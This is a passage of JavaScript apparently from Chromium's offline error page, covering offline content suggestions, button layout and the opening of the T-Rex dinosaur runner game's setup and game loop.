    case 2:  // kAudio
      return 'image-music-note';
    case 0:  // kPrefetchedPage
    case 3:  // kOtherPage
      return 'image-earth';
  }
  return 'image-file';
}

function getSuggestedContentDiv(item, index) {
  // Note: See AvailableContentToValue in available_offline_content_helper.cc
  // for the data contained in an |item|.
  // TODO(carlosk): Present |snippet_base64| when that content becomes
  // available.
  let thumbnail = '';
  const extraContainerClasses = [];
  // html_inline.py will try to replace src attributes with data URIs using a
  // simple regex. The following is obfuscated slightly to avoid that.
  const source = 'src';
  if (item.thumbnail_data_uri) {
    extraContainerClasses.push('suggestion-with-image');
    thumbnail = `<img ${source}="${item.thumbnail_data_uri}">`;
  } else {
    extraContainerClasses.push('suggestion-with-icon');
    const iconClass = getIconForSuggestedItem(item);
    thumbnail = `<div><img class="${iconClass}"></div>`;
  }

  let favicon = '';
  if (item.favicon_data_uri) {
    favicon = `<img ${source}="${item.favicon_data_uri}">`;
  } else {
    extraContainerClasses.push('no-favicon');
  }

  if (!item.attribution_base64) {
    extraContainerClasses.push('no-attribution');
  }

  return `
  <div class="offline-content-suggestion ${extraContainerClasses.join(' ')}"
    onclick="launchOfflineItem('${item.ID}', '${item.name_space}')">
      <div class="offline-content-suggestion-texts">
        <div id="offline-content-suggestion-title-${index}"
             class="offline-content-suggestion-title">
        </div>
        <div class="offline-content-suggestion-attribution-freshness">
          <div id="offline-content-suggestion-favicon-${index}"
               class="offline-content-suggestion-favicon">
            ${favicon}
          </div>
          <div id="offline-content-suggestion-attribution-${index}"
               class="offline-content-suggestion-attribution">
          </div>
          <div class="offline-content-suggestion-freshness">
            ${item.date_modified}
          </div>
          <div class="offline-content-suggestion-pin-spacer"></div>
          <div class="offline-content-suggestion-pin"></div>
        </div>
      </div>
      <div class="offline-content-suggestion-thumbnail">
        ${thumbnail}
      </div>
  </div>`;
}

/**
 * @typedef {{
 *   ID: string,
 *   name_space: string,
 *   title_base64: string,
 *   snippet_base64: string,
 *   date_modified: string,
 *   attribution_base64: string,
 *   thumbnail_data_uri: string,
 *   favicon_data_uri: string,
 *   content_type: number,
 * }}
 */
let AvailableOfflineContent;

// Populates a list of suggested offline content.
// Note: For security reasons all content downloaded from the web is considered
// unsafe and must be securely handled to be presented on the dino page. Images
// have already been safely re-encoded but textual content -- like title and
// attribution -- must be properly handled here.
// @param {boolean} isShown
// @param {Array<AvailableOfflineContent>} suggestions
function offlineContentAvailable(isShown, suggestions) {
  if (!suggestions || !loadTimeData.valueExists('offlineContentList')) {
    return;
  }

  const suggestionsHTML = [];
  for (let index = 0; index < suggestions.length; index++) {
    suggestionsHTML.push(getSuggestedContentDiv(suggestions[index], index));
  }

  document.getElementById('offline-content-suggestions').innerHTML =
      suggestionsHTML.join('\n');

  // Sets textual web content using |textContent| to make sure it's handled as
  // plain text.
  for (let index = 0; index < suggestions.length; index++) {
    document.getElementById(`offline-content-suggestion-title-${index}`)
        .textContent =
        decodeUTF16Base64ToString(suggestions[index].title_base64);
    document.getElementById(`offline-content-suggestion-attribution-${index}`)
        .textContent =
        decodeUTF16Base64ToString(suggestions[index].attribution_base64);
  }

  const contentListElement = document.getElementById('offline-content-list');
  if (document.dir === 'rtl') {
    contentListElement.classList.add('is-rtl');
  }
  contentListElement.hidden = false;
  // The list is configured as hidden by default. Show it if needed.
  if (isShown) {
    toggleOfflineContentListVisibility(false);
  }
}

function toggleOfflineContentListVisibility(updatePref) {
  if (!loadTimeData.valueExists('offlineContentList')) {
    return;
  }

  const contentListElement = document.getElementById('offline-content-list');
  const isVisible = !contentListElement.classList.toggle('list-hidden');

  if (updatePref && window.errorPageController) {
    errorPageController.listVisibilityChanged(isVisible);
  }
}

// Called on document load, and from updateForDnsProbe().
function onDocumentLoadOrUpdate() {
  const downloadButtonVisible = loadTimeData.valueExists('downloadButton') &&
      loadTimeData.getValue('downloadButton').msg;
  const detailsButton = document.getElementById('details-button');

  // If offline content suggestions will be visible, the usual buttons will not
  // be presented.
  const offlineContentVisible =
      loadTimeData.valueExists('suggestedOfflineContentPresentation');
  if (offlineContentVisible) {
    document.querySelector('.nav-wrapper').classList.add(HIDDEN_CLASS);
    detailsButton.classList.add(HIDDEN_CLASS);

    document.getElementById('download-link').hidden = !downloadButtonVisible;
    document.getElementById('download-links-wrapper')
        .classList.remove(HIDDEN_CLASS);
    document.getElementById('error-information-popup-container')
        .classList.add('use-popup-container', HIDDEN_CLASS);
    document.getElementById('error-information-button')
        .classList.remove(HIDDEN_CLASS);
  }

  const attemptAutoFetch = loadTimeData.valueExists('attemptAutoFetch') &&
      loadTimeData.getValue('attemptAutoFetch');

  const reloadButtonVisible = loadTimeData.valueExists('reloadButton') &&
      loadTimeData.getValue('reloadButton').msg;

  const reloadButton = document.getElementById('reload-button');
  const downloadButton = document.getElementById('download-button');
  if (reloadButton.style.display === 'none' &&
      downloadButton.style.display === 'none') {
    detailsButton.classList.add('singular');
  }

  // Show or hide control buttons.
  const controlButtonDiv = document.getElementById('control-buttons');
  controlButtonDiv.hidden =
      offlineContentVisible || !(reloadButtonVisible || downloadButtonVisible);

  const iconClass = loadTimeData.valueExists('iconClass') &&
      loadTimeData.getValue('iconClass');

  updateIconClass(iconClass);

  if (!isSubFrame && iconClass === 'icon-offline') {
    document.documentElement.classList.add('offline');
    new Runner('.interstitial-wrapper');
  }
}

function onDocumentLoad() {
  // Sets up the proper button layout for the current platform.
  const buttonsDiv = document.getElementById('buttons');
  if (primaryControlOnLeft) {
    buttonsDiv.classList.add('suggested-left');
  } else {
    buttonsDiv.classList.add('suggested-right');
  }

  onDocumentLoadOrUpdate();
}

document.addEventListener('DOMContentLoaded', onDocumentLoad);
</script>
  <script>// Copyright 2015 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

let mobileNav = false;

/**
 * For small screen mobile the navigation buttons are moved
 * below the advanced text.
 */
function onResize() {
  const helpOuterBox = document.querySelector('#details');
  const mainContent = document.querySelector('#main-content');
  const mediaQuery = '(min-width: 240px) and (max-width: 420px) and ' +
      '(min-height: 401px), ' +
      '(max-height: 560px) and (min-height: 240px) and ' +
      '(min-width: 421px)';

  const detailsHidden = helpOuterBox.classList.contains(HIDDEN_CLASS);
  const runnerContainer = document.querySelector('.runner-container');

  // Check for change in nav status.
  if (mobileNav !== window.matchMedia(mediaQuery).matches) {
    mobileNav = !mobileNav;

    // Handle showing the top content / details sections according to state.
    if (mobileNav) {
      mainContent.classList.toggle(HIDDEN_CLASS, !detailsHidden);
      helpOuterBox.classList.toggle(HIDDEN_CLASS, detailsHidden);
      if (runnerContainer) {
        runnerContainer.classList.toggle(HIDDEN_CLASS, !detailsHidden);
      }
    } else if (!detailsHidden) {
      // Non mobile nav with visible details.
      mainContent.classList.remove(HIDDEN_CLASS);
      helpOuterBox.classList.remove(HIDDEN_CLASS);
      if (runnerContainer) {
        runnerContainer.classList.remove(HIDDEN_CLASS);
      }
    }
  }
}

function setupMobileNav() {
  window.addEventListener('resize', onResize);
  onResize();
}

document.addEventListener('DOMContentLoaded', setupMobileNav);
</script>
  <script>// Copyright 2014 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

/**
 * T-Rex runner.
 * @param {string} outerContainerId Outer containing element id.
 * @param {!Object=} opt_config
 * @constructor
 * @implements {EventListener}
 * @export
 */
function Runner(outerContainerId, opt_config) {
  // Singleton
  if (Runner.instance_) {
    return Runner.instance_;
  }
  Runner.instance_ = this;

  this.outerContainerEl = document.querySelector(outerContainerId);
  this.containerEl = null;
  this.snackbarEl = null;
  // A div to intercept touch events. Only set while (playing && useTouch).
  this.touchController = null;

  this.config = opt_config || Object.assign(Runner.config, Runner.normalConfig);
  // Logical dimensions of the container.
  this.dimensions = Runner.defaultDimensions;

  this.gameType = null;
  Runner.spriteDefinition = Runner.spriteDefinitionByType['original'];

  this.altGameImageSprite = null;
  this.altGameModeActive = false;
  this.altGameModeFlashTimer = null;
  this.fadeInTimer = 0;

  this.canvas = null;
  this.canvasCtx = null;

  this.tRex = null;

  this.distanceMeter = null;
  this.distanceRan = 0;

  this.highestScore = 0;
  this.syncHighestScore = false;

  this.time = 0;
  this.runningTime = 0;
  this.msPerFrame = 1000 / FPS;
  this.currentSpeed = this.config.SPEED;
  Runner.slowDown = false;

  this.obstacles = [];

  this.activated = false; // Whether the easter egg has been activated.
  this.playing = false; // Whether the game is currently in play state.
  this.crashed = false;
  this.paused = false;
  this.inverted = false;
  this.invertTimer = 0;
  this.resizeTimerId_ = null;

  this.playCount = 0;

  // Sound FX.
  this.audioBuffer = null;

  /** @type {Object} */
  this.soundFx = {};
  this.generatedSoundFx = null;

  // Global web audio context for playing sounds.
  this.audioContext = null;

  // Images.
  this.images = {};
  this.imagesLoaded = 0;

  // Gamepad state.
  this.pollingGamepads = false;
  this.gamepadIndex = undefined;
  this.previousGamepad = null;

  if (this.isDisabled()) {
    this.setupDisabledRunner();
  } else {
    if (Runner.isAltGameModeEnabled()) {
      this.initAltGameType();
      Runner.gameType = this.gameType;
    }
    this.loadImages();

    window['initializeEasterEggHighScore'] =
        this.initializeHighScore.bind(this);
  }
}

/**
 * Default game width.
 * @const
 */
const DEFAULT_WIDTH = 600;

/**
 * Frames per second.
 * @const
 */
const FPS = 60;

/** @const */
const IS_HIDPI = window.devicePixelRatio > 1;

/** @const */
const IS_IOS = /CriOS/.test(window.navigator.userAgent);

/** @const */
const IS_MOBILE = /Android/.test(window.navigator.userAgent) || IS_IOS;

/** @const */
const IS_RTL = document.querySelector('html').dir == 'rtl';

/** @const */
const ARCADE_MODE_URL = 'chrome://dino/';

/** @const */
const RESOURCE_POSTFIX = 'offline-resources-';

/** @const */
const A11Y_STRINGS = {
  ariaLabel: 'dinoGameA11yAriaLabel',
  description: 'dinoGameA11yDescription',
  gameOver: 'dinoGameA11yGameOver',
  highScore: 'dinoGameA11yHighScore',
  jump: 'dinoGameA11yJump',
  started: 'dinoGameA11yStartGame',
  speedLabel: 'dinoGameA11ySpeedToggle',
};

/**
 * Default game configuration.
 * Shared config for all  versions of the game. Additional parameters are
 * defined in Runner.normalConfig and Runner.slowConfig.
 */
Runner.config = {
  AUDIOCUE_PROXIMITY_THRESHOLD: 190,
  AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 250,
  BG_CLOUD_SPEED: 0.2,
  BOTTOM_PAD: 10,
  // Scroll Y threshold at which the game can be activated.
  CANVAS_IN_VIEW_OFFSET: -10,
  CLEAR_TIME: 3000,
  CLOUD_FREQUENCY: 0.5,
  FADE_DURATION: 1,
  FLASH_DURATION: 1000,
  GAMEOVER_CLEAR_TIME: 1200,
  INITIAL_JUMP_VELOCITY: 12,
  INVERT_FADE_DURATION: 12000,
  MAX_BLINK_COUNT: 3,
  MAX_CLOUDS: 6,
  MAX_OBSTACLE_LENGTH: 3,
  MAX_OBSTACLE_DUPLICATION: 2,
  RESOURCE_TEMPLATE_ID: 'audio-resources',
  SPEED: 6,
  SPEED_DROP_COEFFICIENT: 3,
  ARCADE_MODE_INITIAL_TOP_POSITION: 35,
  ARCADE_MODE_TOP_POSITION_PERCENT: 0.1,
};

Runner.normalConfig = {
  ACCELERATION: 0.001,
  AUDIOCUE_PROXIMITY_THRESHOLD: 190,
  AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 250,
  GAP_COEFFICIENT: 0.6,
  INVERT_DISTANCE: 700,
  MAX_SPEED: 13,
  MOBILE_SPEED_COEFFICIENT: 1.2,
  SPEED: 6,
};


Runner.slowConfig = {
  ACCELERATION: 0.0005,
  AUDIOCUE_PROXIMITY_THRESHOLD: 170,
  AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 220,
  GAP_COEFFICIENT: 0.3,
  INVERT_DISTANCE: 350,
  MAX_SPEED: 9,
  MOBILE_SPEED_COEFFICIENT: 1.5,
  SPEED: 4.2,
};


/**
 * Default dimensions.
 */
Runner.defaultDimensions = {
  WIDTH: DEFAULT_WIDTH,
  HEIGHT: 150,
};


/**
 * CSS class names.
 * @enum {string}
 */
Runner.classes = {
  ARCADE_MODE: 'arcade-mode',
  CANVAS: 'runner-canvas',
  CONTAINER: 'runner-container',
  CRASHED: 'crashed',
  ICON: 'icon-offline',
  INVERTED: 'inverted',
  SNACKBAR: 'snackbar',
  SNACKBAR_SHOW: 'snackbar-show',
  TOUCH_CONTROLLER: 'controller',
};


/**
 * Sound FX. Reference to the ID of the audio tag on interstitial page.
 * @enum {string}
 */
Runner.sounds = {
  BUTTON_PRESS: 'offline-sound-press',
  HIT: 'offline-sound-hit',
  SCORE: 'offline-sound-reached',
};


/**
 * Key code mapping.
 * @enum {Object}
 */
Runner.keycodes = {
  JUMP: {'38': 1, '32': 1},  // Up, spacebar
  DUCK: {'40': 1},           // Down
  RESTART: {'13': 1},        // Enter
};


/**
 * Runner event names.
 * @enum {string}
 */
Runner.events = {
  ANIM_END: 'webkitAnimationEnd',
  CLICK: 'click',
  KEYDOWN: 'keydown',
  KEYUP: 'keyup',
  POINTERDOWN: 'pointerdown',
  POINTERUP: 'pointerup',
  RESIZE: 'resize',
  TOUCHEND: 'touchend',
  TOUCHSTART: 'touchstart',
  VISIBILITY: 'visibilitychange',
  BLUR: 'blur',
  FOCUS: 'focus',
  LOAD: 'load',
  GAMEPADCONNECTED: 'gamepadconnected',
};

Runner.prototype = {
  /**
   * Initialize alternative game type.
   */
  initAltGameType() {
    if (GAME_TYPE.length > 0) {
      this.gameType = loadTimeData && loadTimeData.valueExists('altGameType') ?
          GAME_TYPE[parseInt(loadTimeData.getValue('altGameType'), 10) - 1] :
          '';
    }
  },

  /**
   * Whether the easter egg has been disabled. CrOS enterprise enrolled devices.
   * @return {boolean}
   */
  isDisabled() {
    return loadTimeData && loadTimeData.valueExists('disabledEasterEgg');
  },

  /**
   * For disabled instances, set up a snackbar with the disabled message.
   */
  setupDisabledRunner() {
    this.containerEl = document.createElement('div');
    this.containerEl.className = Runner.classes.SNACKBAR;
    this.containerEl.textContent = loadTimeData.getValue('disabledEasterEgg');
    this.outerContainerEl.appendChild(this.containerEl);

    // Show notification when the activation key is pressed.
    document.addEventListener(Runner.events.KEYDOWN, function(e) {
      if (Runner.keycodes.JUMP[e.keyCode]) {
        this.containerEl.classList.add(Runner.classes.SNACKBAR_SHOW);
        document.querySelector('.icon').classList.add('icon-disabled');
      }
    }.bind(this));
  },

  /**
   * Setting individual settings for debugging.
   * @param {string} setting
   * @param {number|string} value
   */
  updateConfigSetting(setting, value) {
    if (setting in this.config && value !== undefined) {
      this.config[setting] = value;

      switch (setting) {
        case 'GRAVITY':
        case 'MIN_JUMP_HEIGHT':
        case 'SPEED_DROP_COEFFICIENT':
          this.tRex.config[setting] = value;
          break;
        case 'INITIAL_JUMP_VELOCITY':
          this.tRex.setJumpVelocity(value);
          break;
        case 'SPEED':
          this.setSpeed(/** @type {number} */ (value));
          break;
      }
    }
  },

  /**
   * Creates an on page image element from the base 64 encoded string source.
   * @param {string} resourceName Name in data object,
   * @return {HTMLImageElement} The created element.
   */
  createImageElement(resourceName) {
    const imgSrc = loadTimeData && loadTimeData.valueExists(resourceName) ?
        loadTimeData.getString(resourceName) :
        null;

    if (imgSrc) {
      const el =
          /** @type {HTMLImageElement} */ (document.createElement('img'));
      el.id = resourceName;
      el.src = imgSrc;
      document.getElementById('offline-resources').appendChild(el);
      return el;
    }
    return null;
  },

  /**
   * Cache the appropriate image sprite from the page and get the sprite sheet
   * definition.
   */
  loadImages() {
    let scale = '1x';
    this.spriteDef = Runner.spriteDefinition.LDPI;
    if (IS_HIDPI) {
      scale = '2x';
      this.spriteDef = Runner.spriteDefinition.HDPI;
    }

    Runner.imageSprite = /** @type {HTMLImageElement} */
        (document.getElementById(RESOURCE_POSTFIX + scale));

    if (this.gameType) {
      Runner.altGameImageSprite = /** @type {HTMLImageElement} */
          (this.createImageElement('altGameSpecificImage' + scale));
      Runner.altCommonImageSprite = /** @type {HTMLImageElement} */
          (this.createImageElement('altGameCommonImage' + scale));
    }
    Runner.origImageSprite = Runner.imageSprite;

    // Disable the alt game mode if the sprites can't be loaded.
    if (!Runner.altGameImageSprite || !Runner.altCommonImageSprite) {
      Runner.isAltGameModeEnabled = () => false;
      this.altGameModeActive = false;
    }

    if (Runner.imageSprite.complete) {
      this.init();
    } else {
      // If the images are not yet loaded, add a listener.
      Runner.imageSprite.addEventListener(Runner.events.LOAD,
          this.init.bind(this));
    }
  },

  /**
   * Load and decode base 64 encoded sounds.
   */
  loadSounds() {
    if (!IS_IOS) {
      this.audioContext = new AudioContext();

      const resourceTemplate =
          document.getElementById(this.config.RESOURCE_TEMPLATE_ID).content;

      for (const sound in Runner.sounds) {
        let soundSrc =
            resourceTemplate.getElementById(Runner.sounds[sound]).src;
        soundSrc = soundSrc.substr(soundSrc.indexOf(',') + 1);
        const buffer = decodeBase64ToArrayBuffer(soundSrc);

        // Async, so no guarantee of order in array.
        this.audioContext.decodeAudioData(buffer, function(index, audioData) {
            this.soundFx[index] = audioData;
          }.bind(this, sound));
      }
    }
  },

  /**
   * Sets the game speed. Adjust the speed accordingly if on a smaller screen.
   * @param {number=} opt_speed
   */
  setSpeed(opt_speed) {
    const speed = opt_speed || this.currentSpeed;

    // Reduce the speed on smaller mobile screens.
    if (this.dimensions.WIDTH < DEFAULT_WIDTH) {
      const mobileSpeed = Runner.slowDown ? speed :
                                            speed * this.dimensions.WIDTH /
              DEFAULT_WIDTH * this.config.MOBILE_SPEED_COEFFICIENT;
      this.currentSpeed = mobileSpeed > speed ? speed : mobileSpeed;
    } else if (opt_speed) {
      this.currentSpeed = opt_speed;
    }
  },

  /**
   * Game initialiser.
   */
  init() {
    // Hide the static icon.
    document.querySelector('.' + Runner.classes.ICON).style.visibility =
        'hidden';

    this.adjustDimensions();
    this.setSpeed();

    const ariaLabel = getA11yString(A11Y_STRINGS.ariaLabel);
    this.containerEl = document.createElement('div');
    this.containerEl.setAttribute('role', IS_MOBILE ? 'button' : 'application');
    this.containerEl.setAttribute('tabindex', '0');
    this.containerEl.setAttribute('title', ariaLabel);

    this.containerEl.className = Runner.classes.CONTAINER;

    // Player canvas container.
    this.canvas = createCanvas(this.containerEl, this.dimensions.WIDTH,
        this.dimensions.HEIGHT);

    // Live region for game status updates.
    this.a11yStatusEl = document.createElement('span');
    this.a11yStatusEl.className = 'offline-runner-live-region';
    this.a11yStatusEl.setAttribute('aria-live', 'assertive');
    this.a11yStatusEl.textContent = '';
    Runner.a11yStatusEl = this.a11yStatusEl;

    // Add checkbox to slow down the game.
    this.slowSpeedCheckboxLabel = document.createElement('label');
    this.slowSpeedCheckboxLabel.className = 'slow-speed-option hidden';
    this.slowSpeedCheckboxLabel.textContent =
        getA11yString(A11Y_STRINGS.speedLabel);

    this.slowSpeedCheckbox = document.createElement('input');
    this.slowSpeedCheckbox.setAttribute('type', 'checkbox');
    this.slowSpeedCheckbox.setAttribute(
        'title', getA11yString(A11Y_STRINGS.speedLabel));
    this.slowSpeedCheckbox.setAttribute('tabindex', '0');
    this.slowSpeedCheckbox.setAttribute('checked', 'checked');

    this.slowSpeedToggleEl = document.createElement('span');
    this.slowSpeedToggleEl.className = 'slow-speed-toggle';

    this.slowSpeedCheckboxLabel.appendChild(this.slowSpeedCheckbox);
    this.slowSpeedCheckboxLabel.appendChild(this.slowSpeedToggleEl);

    if (IS_IOS) {
      this.outerContainerEl.appendChild(this.a11yStatusEl);
    } else {
      this.containerEl.appendChild(this.a11yStatusEl);
    }

    announcePhrase(getA11yString(A11Y_STRINGS.description));

    this.generatedSoundFx = new GeneratedSoundFx();

    this.canvasCtx =
        /** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
    this.canvasCtx.fillStyle = '#f7f7f7';
    this.canvasCtx.fill();
    Runner.updateCanvasScaling(this.canvas);

    // Horizon contains clouds, obstacles and the ground.
    this.horizon = new Horizon(this.canvas, this.spriteDef, this.dimensions,
        this.config.GAP_COEFFICIENT);

    // Distance meter
    this.distanceMeter = new DistanceMeter(this.canvas,
          this.spriteDef.TEXT_SPRITE, this.dimensions.WIDTH);

    // Draw t-rex
    this.tRex = new Trex(this.canvas, this.spriteDef.TREX);

    this.outerContainerEl.appendChild(this.containerEl);
    this.outerContainerEl.appendChild(this.slowSpeedCheckboxLabel);

    this.startListening();
    this.update();

    window.addEventListener(Runner.events.RESIZE,
        this.debounceResize.bind(this));

    // Handle dark mode
    const darkModeMediaQuery =
        window.matchMedia('(prefers-color-scheme: dark)');
    this.isDarkMode = darkModeMediaQuery && darkModeMediaQuery.matches;
    darkModeMediaQuery.addListener((e) => {
      this.isDarkMode = e.matches;
    });
  },

  /**
   * Create the touch controller. A div that covers whole screen.
   */
  createTouchController() {
    this.touchController = document.createElement('div');
    this.touchController.className = Runner.classes.TOUCH_CONTROLLER;
    this.touchController.addEventListener(Runner.events.TOUCHSTART, this);
    this.touchController.addEventListener(Runner.events.TOUCHEND, this);
    this.outerContainerEl.appendChild(this.touchController);
  },

  /**
   * Debounce the resize event.
   */
  debounceResize() {
    if (!this.resizeTimerId_) {
      this.resizeTimerId_ =
          setInterval(this.adjustDimensions.bind(this), 250);
    }
  },

  /**
   * Adjust game space dimensions on resize.
   */
  adjustDimensions() {
    clearInterval(this.resizeTimerId_);
    this.resizeTimerId_ = null;

    const boxStyles = window.getComputedStyle(this.outerContainerEl);
    const padding = Number(boxStyles.paddingLeft.substr(0,
        boxStyles.paddingLeft.length - 2));

    this.dimensions.WIDTH = this.outerContainerEl.offsetWidth - padding * 2;
    if (this.isArcadeMode()) {
      this.dimensions.WIDTH = Math.min(DEFAULT_WIDTH, this.dimensions.WIDTH);
      if (this.activated) {
        this.setArcadeModeContainerScale();
      }
    }

    // Redraw the elements back onto the canvas.
    if (this.canvas) {
      this.canvas.width = this.dimensions.WIDTH;
      this.canvas.height = this.dimensions.HEIGHT;

      Runner.updateCanvasScaling(this.canvas);

      this.distanceMeter.calcXPos(this.dimensions.WIDTH);
      this.clearCanvas();
      this.horizon.update(0, 0, true);
      this.tRex.update(0);

      // Outer container and distance meter.
      if (this.playing || this.crashed || this.paused) {
        this.containerEl.style.width = this.dimensions.WIDTH + 'px';
        this.containerEl.style.height = this.dimensions.HEIGHT + 'px';
        this.distanceMeter.update(0, Math.ceil(this.distanceRan));
        this.stop();
      } else {
        this.tRex.draw(0, 0);
      }

      // Game over panel.
      if (this.crashed && this.gameOverPanel) {
        this.gameOverPanel.updateDimensions(this.dimensions.WIDTH);
        this.gameOverPanel.draw(this.altGameModeActive, this.tRex);
      }
    }
  },

  /**
   * Play the game intro.
   * Canvas container width expands out to the full width.
   */
  playIntro() {
    if (!this.activated && !this.crashed) {
      this.playingIntro = true;
      this.tRex.playingIntro = true;

      // CSS animation definition.
      const keyframes = '@-webkit-keyframes intro { ' +
            'from { width:' + Trex.config.WIDTH + 'px }' +
            'to { width: ' + this.dimensions.WIDTH + 'px }' +
          '}';
      document.styleSheets[0].insertRule(keyframes, 0);

      this.containerEl.addEventListener(Runner.events.ANIM_END,
          this.startGame.bind(this));

      this.containerEl.style.webkitAnimation = 'intro .4s ease-out 1 both';
      this.containerEl.style.width = this.dimensions.WIDTH + 'px';

      this.setPlayStatus(true);
      this.activated = true;
    } else if (this.crashed) {
      this.restart();
    }
  },


  /**
   * Update the game status to started.
   */
  startGame() {
    if (this.isArcadeMode()) {
      this.setArcadeMode();
    }
    this.toggleSpeed();
    this.runningTime = 0;
    this.playingIntro = false;
    this.tRex.playingIntro = false;
    this.containerEl.style.webkitAnimation = '';
    this.playCount++;
    this.generatedSoundFx.background();
    announcePhrase(getA11yString(A11Y_STRINGS.started));

    if (Runner.audioCues) {
      this.containerEl.setAttribute('title', getA11yString(A11Y_STRINGS.jump));
    }

    // Handle tabbing off the page. Pause the current game.
    document.addEventListener(Runner.events.VISIBILITY,
          this.onVisibilityChange.bind(this));

    window.addEventListener(Runner.events.BLUR,
          this.onVisibilityChange.bind(this));

    window.addEventListener(Runner.events.FOCUS,
          this.onVisibilityChange.bind(this));
  },

  clearCanvas() {
    this.canvasCtx.clearRect(0, 0, this.dimensions.WIDTH,
        this.dimensions.HEIGHT);
  },

  /**
   * Checks whether the canvas area is in the viewport of the browser
   * through the current scroll position.
   * @return boolean.
   */
  isCanvasInView() {
    return this.containerEl.getBoundingClientRect().top >
        Runner.config.CANVAS_IN_VIEW_OFFSET;
  },

  /**
   * Enable the alt game mode. Switching out the sprites.
   */
  enableAltGameMode() {
    Runner.imageSprite = Runner.altGameImageSprite;
    Runner.spriteDefinition = Runner.spriteDefinitionByType[Runner.gameType];

    if (IS_HIDPI) {
      this.spriteDef = Runner.spriteDefinition.HDPI;
    } else {
      this.spriteDef = Runner.spriteDefinition.LDPI;
    }

    this.altGameModeActive = true;
    this.tRex.enableAltGameMode(this.spriteDef.TREX);
    this.horizon.enableAltGameMode(this.spriteDef);
    this.generatedSoundFx.background();
  },

  /**
   * Update the game frame and schedules the next one.
   */
  update() {
    this.updatePending = false;

    const now = getTimeStamp();
    let deltaTime = now - (this.time || now);

    // Flashing when switching game modes.
    if (this.altGameModeFlashTimer < 0 || this.altGameModeFlashTimer === 0) {
      this.altGameModeFlashTimer = null;
      this.tRex.setFlashing(false);
      this.enableAltGameMode();
    } else if (this.altGameModeFlashTimer > 0) {
      this.altGameModeFlashTimer -= deltaTime;
      this.tRex.update(deltaTime);
      deltaTime = 0;
    }

    this.time = now;

    if (this.playing) {
      this.clearCanvas();

      // Additional fade in - Prevents jump when switching sprites
      if (this.altGameModeActive &&
          this.fadeInTimer <= this.config.FADE_DURATION) {
        this.fadeInTimer += deltaTime / 1000;
        this.canvasCtx.globalAlpha = this.fadeInTimer;
      } else {
        this.canvasCtx.globalAlpha = 1;
      }

      if (this.tRex.jumping) {
        this.tRex.updateJump(deltaTime);
      }

      this.runningTime += deltaTime;
      const hasObstacles = this.runningTime > this.config.CLEAR_TIME;

      // First jump triggers the intro.
      if (this.tRex.jumpCount === 1 && !this.playingIntro) {
        this.playIntro();
      }

      // The horizon doesn't move until the intro is over.
      if (this.playingIntro) {
        this.horizon.update(0, this.currentSpeed, hasObstacles);
      } else if (!this.crashed) {
        const showNightMode = this.isDarkMode ^ this.inverted;
        deltaTime = !this.activated ? 0 : deltaTime;
        this.horizon.update(
            deltaTime, this.currentSpeed, hasObstacles, showNightMode);
      }

      // Check for collisions.
      let collision = hasObstacles &&
          checkForCollision(this.horizon.obstacles[0], this.tRex);

      // For a11y, audio cues.
      if (Runner.audioCues && hasObstacles) {
        const jumpObstacle =
            this.horizon.obstacles[0].typeConfig.type != 'COLLECTABLE';

        if (!this.horizon.obstacles[0].jumpAlerted) {
          const threshold = Runner.isMobileMouseInput ?
              Runner.config.AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y :
              Runner.config.AUDIOCUE_PROXIMITY_THRESHOLD;
          const adjProximityThreshold = threshold +
              (threshold * Math.log10(this.currentSpeed / Runner.config.SPEED));

          if (this.horizon.obstacles[0].xPos < adjProximityThreshold) {
            if (jumpObstacle) {
              this.generatedSoundFx.jump();
            }
            this.horizon.obstacles[0].jumpAlerted = true;
          }
        }
      }

      // Activated alt game mode.
      if (Runner.isAltGameModeEnabled() && collision &&
          this.horizon.obstacles[0].typeConfig.type == 'COLLECTABLE') {
        this.horizon.removeFirstObstacle();
        this.tRex.setFlashing(true);
        collision = false;
        this.altGameModeFlashTimer = this.config.FLASH_DURATION;
        this.runningTime = 0;
        this.generatedSoundFx.collect();
      }

      if (!collision) {
        this.distanceRan += this.currentSpeed * deltaTime / this.msPerFrame;

        if (this.currentSpeed < this.config.MAX_SPEED) {
          this.currentSpeed += this.config.ACCELERATION;
        }
      } else {
        this.gameOver();
      }

      const playAchievementSound = this.distanceMeter.update(deltaTime,
          Math.ceil(this.distanceRan));

      if (!Runner.audioCues && playAchievementSound) {
        this.playSound(this.soundFx.SCORE);
      }

      // Night mode.
      if (!Runner.isAltGameModeEnabled()) {
        if (this.invertTimer > this.config.INVERT_FADE_DURATION) {
          this.invertTimer = 0;
          this.invertTrigger = false;
          this.invert(false);
        } else if (this.invertTimer) {
          this.invertTimer += deltaTime;
        } else {
          const actualDistance =
              this.distanceMeter.getActualDistance(Math.ceil(this.distanceRan));

          if (actualDistance > 0) {
            this.invertTrigger =
                !(actualDistance % this.config.INVERT_DISTANCE);

            if (this.invertTrigger && this.invertTimer === 0) {
              this.invertTimer += deltaTime;
              this.invert(false);
            }
          }
        }
      }
    }

    if (this.playing || (!this.activated &&
        this.tRex.blinkCount < Runner.config.MAX_BLINK_COUNT)) {
      this.tRex.update(deltaTime);
      this.scheduleNextUpdate();
    }
  },

  /**
   * Event handler.
   * @param {Event} e
   */
  handleEvent(e) {
    return (function(evtType, events) {
      switch (evtType) {
        case events.KEYDOWN:
        case events.TOUCHSTART:
        case events.POINTERDOWN:
          this.onKeyDown(e);
          break;
        case events.KEYUP:
        case events.TOUCHEND:
        case events.POINTERUP:
          this.onKeyUp(e);
          break;
        case events.GAMEPADCONNECTED:
          this.onGamepadConnected(e);
          break;
      }
    }.bind(this))(e.type, Runner.events);
  },

  /**
   * Initialize audio cues if activated by focus on the canvas element.
   * @param {Event} e
   */
  handleCanvasKeyPress(e) {
    if (!this.activated && !Runner.audioCues) {
      this.toggleSpeed();
      Runner.audioCues = true;
      this.generatedSoundFx.init();
      Runner.generatedSoundFx = this.generatedSoundFx;
      Runner.config.CLEAR_TIME *= 1.2;
    } else if (e.keyCode && Runner.keycodes.JUMP[e.keyCode]) {
      this.onKeyDown(e);
    }
  },

  /**
   * Prevent space key press from scrolling.
   * @param {Event} e
   */
  preventScrolling(e) {
    if (e.keyCode === 32) {
      e.preventDefault();
    }
  },

  /**
